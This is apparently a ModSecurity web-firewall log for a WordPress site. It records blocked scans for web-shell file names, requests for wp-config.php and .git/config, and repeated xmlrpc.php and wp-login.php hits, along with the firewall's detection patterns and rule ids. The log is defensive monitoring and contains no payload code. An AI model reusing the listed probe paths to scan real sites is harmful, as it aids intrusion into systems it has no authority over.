[Sun Nov 23 19:37:58.799543 2025] [:error] [pid 17534:tid 17558] [client 4.210.81.99:51030] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "aSLyFnPX9nXBrhgM8syE5AAAAdY"]
[Sun Nov 23 19:38:00.912073 2025] [:error] [pid 38739:tid 38772] [client 4.210.81.99:51925] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/oo.php"] [unique_id "aSLyGAdvEgJm2n2cDmptaQAAAEM"]
[Sun Nov 23 19:38:04.748884 2025] [:error] [pid 38824:tid 38828] [client 4.210.81.99:51031] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfanew.php"] [unique_id "aSLyHE8WZjXLvbHTHPf1RwAAAME"]
[Sun Nov 23 19:38:05.482855 2025] [:error] [pid 44652:tid 44714] [client 4.210.81.99:13651] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfanew.php"] [unique_id "aSLyHdiQFwsyXQDhwyAIDQAAAQg"]
[Sun Nov 23 19:38:06.504928 2025] [:error] [pid 14602:tid 14624] [client 4.210.81.99:14145] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfanew.php"] [unique_id "aSLyHh-I77jdD81pU-nedAAAAUM"]
[Sun Nov 23 19:38:09.517804 2025] [:error] [pid 38740:tid 38796] [client 4.210.81.99:53199] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/alfanew.php"] [unique_id "aSLyIQ13QPZSi6O8umXmRQAAAIA"]
[Sun Nov 23 19:38:13.438894 2025] [:error] [pid 14602:tid 14635] [client 4.210.81.99:13721] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/js/codemirror/about.php"] [unique_id "aSLyJR-I77jdD81pU-neegAAAU4"]
[Sun Nov 23 19:38:16.465178 2025] [:error] [pid 38739:tid 38779] [client 4.210.81.99:14147] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSLyKAdvEgJm2n2cDmptfQAAAEo"]
[Sun Nov 23 19:38:21.400353 2025] [:error] [pid 38738:tid 38764] [client 4.210.81.99:46876] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSLyLQytc6TL9XavPmNDpwAAABY"]
[Sun Nov 23 19:38:24.518706 2025] [:error] [pid 38739:tid 38785] [client 4.210.81.99:53220] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSLyMAdvEgJm2n2cDmpthQAAAFA"]
[Sun Nov 23 19:38:26.121475 2025] [:error] [pid 14602:tid 14639] [client 4.210.81.99:51937] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/themes/twentytwentytwo/index.php"] [unique_id "aSLyMh-I77jdD81pU-nefwAAAVI"]
[Sun Nov 23 19:38:27.872728 2025] [:error] [pid 17534:tid 17549] [client 4.210.81.99:14182] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ll.php"] [unique_id "aSLyM3PX9nXBrhgM8syE-QAAAc0"]
[Sun Nov 23 19:38:30.176924 2025] [:error] [pid 38824:tid 38851] [client 4.210.81.99:53187] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/ll.php"] [unique_id "aSLyNk8WZjXLvbHTHPf1YQAAANg"]
[Sun Nov 23 19:38:34.213824 2025] [:error] [pid 38738:tid 38744] [client 4.210.81.99:50434] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/wp-class.php"] [unique_id "aSLyOgytc6TL9XavPmNDqgAAAAI"]
[Sun Nov 23 19:38:42.551821 2025] [:error] [pid 38740:tid 38797] [client 4.210.81.99:57698] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/Requests/about.php"] [unique_id "aSLyQg13QPZSi6O8umXmXQAAAIE"]
[Sun Nov 23 19:38:52.710266 2025] [:error] [pid 38824:tid 38845] [client 4.210.81.99:50629] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "aSLyTE8WZjXLvbHTHPf1cgAAANI"]
[Sun Nov 23 19:38:55.945140 2025] [:error] [pid 38740:tid 38807] [client 4.210.81.99:13743] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "aSLyTw13QPZSi6O8umXmYwAAAIs"]
[Sun Nov 23 19:38:57.589364 2025] [:error] [pid 38738:tid 38764] [client 4.210.81.99:51938] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "aSLyUQytc6TL9XavPmNDtgAAABY"]
[Sun Nov 23 19:38:59.055349 2025] [:error] [pid 44652:tid 44722] [client 4.210.81.99:53196] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "aSLyU9iQFwsyXQDhwyAINQAAARA"]
[Sun Nov 23 19:39:00.781369 2025] [:error] [pid 17534:tid 17549] [client 4.210.81.99:13662] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/zews.php"] [unique_id "aSLyVHPX9nXBrhgM8syFIgAAAc0"]
[Sun Nov 23 19:39:03.643630 2025] [:error] [pid 38738:tid 38749] [client 4.210.81.99:53190] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSLyVwytc6TL9XavPmNDugAAAAc"]
[Sun Nov 23 19:39:05.280420 2025] [:error] [pid 14602:tid 14641] [client 4.210.81.99:13712] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSLyWR-I77jdD81pU-netgAAAVQ"]
[Sun Nov 23 19:39:09.465144 2025] [:error] [pid 17534:tid 17551] [client 4.210.81.99:14092] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSLyXXPX9nXBrhgM8syFKQAAAc8"]
[Sun Nov 23 19:39:13.438734 2025] [:error] [pid 17534:tid 17549] [client 4.210.81.99:51935] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/wp-conflg.php"] [unique_id "aSLyYXPX9nXBrhgM8syFNgAAAc0"]
[Sun Nov 23 19:39:16.509069 2025] [:error] [pid 14602:tid 14640] [client 4.210.81.99:51958] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usage-file.php"] [unique_id "aSLyZB-I77jdD81pU-netwAAAVM"]
[Sun Nov 23 19:39:18.720166 2025] [:error] [pid 38824:tid 38829] [client 4.210.81.99:13678] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usage-file.php"] [unique_id "aSLyZk8WZjXLvbHTHPf1fwAAAMI"]
[Sun Nov 23 19:39:22.434334 2025] [:error] [pid 14602:tid 14637] [client 4.210.81.99:14162] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usage-file.php"] [unique_id "aSLyah-I77jdD81pU-neuQAAAVA"]
[Sun Nov 23 19:39:27.115884 2025] [:error] [pid 17534:tid 17540] [client 4.210.81.99:51957] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usage-file.php"] [unique_id "aSLyb3PX9nXBrhgM8syFQQAAAcQ"]
[Sun Nov 23 19:39:32.899272 2025] [:error] [pid 38740:tid 38812] [client 4.210.81.99:51936] [client 4.210.81.99] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "wp-config.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/assets/js/wp-config.php"] [unique_id "aSLydA13QPZSi6O8umXmbgAAAJA"]
[Sun Nov 23 19:39:36.390984 2025] [:error] [pid 16066:tid 16088] [client 4.210.81.99:57673] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Js.php"] [unique_id "aSLyePq-c47Q5mW5E9G5dQAAAZM"]
[Sun Nov 23 19:39:39.395522 2025] [:error] [pid 14602:tid 14642] [client 4.210.81.99:51947] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Js.php"] [unique_id "aSLyex-I77jdD81pU-newgAAAVU"]
[Sun Nov 23 19:39:45.207050 2025] [:error] [pid 38739:tid 38781] [client 4.210.81.99:13705] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/Js.php"] [unique_id "aSLygQdvEgJm2n2cDmptnQAAAEw"]
[Sun Nov 23 19:39:50.424897 2025] [:error] [pid 38740:tid 38806] [client 4.210.81.99:50649] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "aSLyhg13QPZSi6O8umXmeAAAAIo"]
[Sun Nov 23 19:39:53.624886 2025] [:error] [pid 38740:tid 38818] [client 4.210.81.99:14170] [client 4.210.81.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/menu.php"] [unique_id "aSLyiQ13QPZSi6O8umXmfQAAAJY"]
[Sun Nov 23 19:59:59.932245 2025] [:error] [pid 17534:tid 17545] [client 103.154.185.180:45222] [client 103.154.185.180] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.154.185.180, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSL3P3PX9nXBrhgM8syK5AAAAck"], referer: http://rcacivilgroup.com
[Sun Nov 23 20:59:49.963943 2025] [:error] [pid 8036:tid 8054] [client 46.245.76.52:50860] [client 46.245.76.52] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 46.245.76.52, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMFRdBT69EcgFwgTmpsuQAAAgc"], referer: http://rcacivilgroup.com
[Sun Nov 23 21:01:07.097405 2025] [:error] [pid 38824:tid 38845] [client 138.201.133.126:35760] [client 138.201.133.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.201.133.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMFk08WZjXLvbHTHPcAMwAAANI"]
[Sun Nov 23 21:39:44.212455 2025] [:error] [pid 44652:tid 44720] [client 221.224.30.114:49788] [client 221.224.30.114] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 221.224.30.114, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMOoNiQFwsyXQDhwyAoEgAAAQ4"], referer: http://rcacivilgroup.com
[Sun Nov 23 21:42:13.736947 2025] [:error] [pid 44652:tid 44717] [client 217.15.163.102:56982] [client 217.15.163.102] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 217.15.163.102, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMPNdiQFwsyXQDhwyAo4QAAAQs"]
[Sun Nov 23 21:59:43.655521 2025] [:error] [pid 8036:tid 8049] [client 91.213.188.13:38700] [client 91.213.188.13] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.213.188.13, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMTT9BT69EcgFwgTmp8jwAAAgI"], referer: http://rcacivilgroup.com
[Sun Nov 23 22:03:08.697529 2025] [:error] [pid 8036:tid 8055] [client 103.163.214.43:34632] [client 103.163.214.43] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 103.163.214.43, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMUHNBT69EcgFwgTmp9aAAAAgg"], referer: http://rcacivilgroup.com
[Sun Nov 23 22:09:47.808047 2025] [:error] [pid 14602:tid 14625] [client 20.204.164.126:44396] [client 20.204.164.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 20.204.164.126, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMVqx-I77jdD81pU-n1qgAAAUQ"], referer: http://rcacivilgroup.com
[Sun Nov 23 22:19:51.441335 2025] [:error] [pid 44652:tid 44715] [client 65.254.80.95:59070] [client 65.254.80.95] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 65.254.80.95, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMYB9iQFwsyXQDhwyAx3gAAAQk"], referer: http://rcacivilgroup.com
[Sun Nov 23 22:19:51.443298 2025] [:error] [pid 44652:tid 44715] [client 65.254.80.95:59070] [client 65.254.80.95] ModSecurity: XML parser error: XML: Failed parsing document. [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMYB9iQFwsyXQDhwyAx3gAAAQk"], referer: http://rcacivilgroup.com
[Sun Nov 23 22:19:51.444875 2025] [:error] [pid 44652:tid 44715] [client 65.254.80.95:59070] [client 65.254.80.95] ModSecurity: Warning. Match of "eq 0" against "REQBODY_ERROR" required. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "27"] [id "210230"] [rev "2"] [msg "COMODO WAF: The request body could not be parsed. Possibility of an impedance mismatch attack. This is not a false positive.||rcacivilgroup.com|F|2"] [data "XML parser error: XML: Failed parsing document."] [severity "CRITICAL"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMYB9iQFwsyXQDhwyAx3gAAAQk"], referer: http://rcacivilgroup.com
[Sun Nov 23 22:26:44.681728 2025] [:error] [pid 8036:tid 8065] [client 47.244.90.157:36000] [client 47.244.90.157] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 47.244.90.157, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMZpNBT69EcgFwgTmqCjgAAAhI"]
[Sun Nov 23 22:38:57.624228 2025] [:error] [pid 17534:tid 17544] [client 47.242.167.96:43702] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.242.167.96, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSMcgXPX9nXBrhgM8syjmwAAAcg"]
[Sun Nov 23 22:39:31.162477 2025] [:error] [pid 17534:tid 17537] [client 47.242.167.96:52200] [client 47.242.167.96] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 47.242.167.96, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aSMco3PX9nXBrhgM8syjpgAAAcE"]
[Sun Nov 23 23:07:29.945468 2025] [:error] [pid 38739:tid 38790] [client 185.209.228.46:38904] [client 185.209.228.46] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 185.209.228.46, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMjMQdvEgJm2n2cDmqHfgAAAFU"]
[Sun Nov 23 23:11:43.898866 2025] [:error] [pid 44652:tid 44727] [client 162.158.238.145:11691] [client 162.158.238.145] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/config"] [unique_id "aSMkL9iQFwsyXQDhwyA_KgAAARU"]
[Sun Nov 23 23:21:54.472421 2025] [:error] [pid 8036:tid 8067] [client 91.245.210.195:48874] [client 91.245.210.195] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 91.245.210.195, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMmktBT69EcgFwgTmqMiwAAAhQ"]
[Sun Nov 23 23:56:51.941452 2025] [:error] [pid 14602:tid 14628] [client 51.79.166.146:57224] [client 51.79.166.146] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 51.79.166.146, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSMuwx-I77jdD81pU-kEKwAAAUc"]
[Mon Nov 24 00:30:33.462023 2025] [:error] [pid 1589:tid 1602] [client 70.40.255.4:48666] [client 70.40.255.4] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 70.40.255.4, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSM2qYI2fvripjU0EatjAgAAAUs"], referer: http://rcacivilgroup.com
[Mon Nov 24 00:42:32.875820 2025] [:error] [pid 1453:tid 1496] [client 82.223.26.75:53760] [client 82.223.26.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 82.223.26.75, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSM5eBUBCt7LU0bO_GBBtgAAAIs"]
[Mon Nov 24 00:58:35.043365 2025] [:error] [pid 1454:tid 1519] [client 62.214.228.136:61166] [client 62.214.228.136] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 62.214.228.136, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aSM9O7eh4NH3skJ5n4Rs8gAAAMc"], referer: http://rcacivilgroup.com
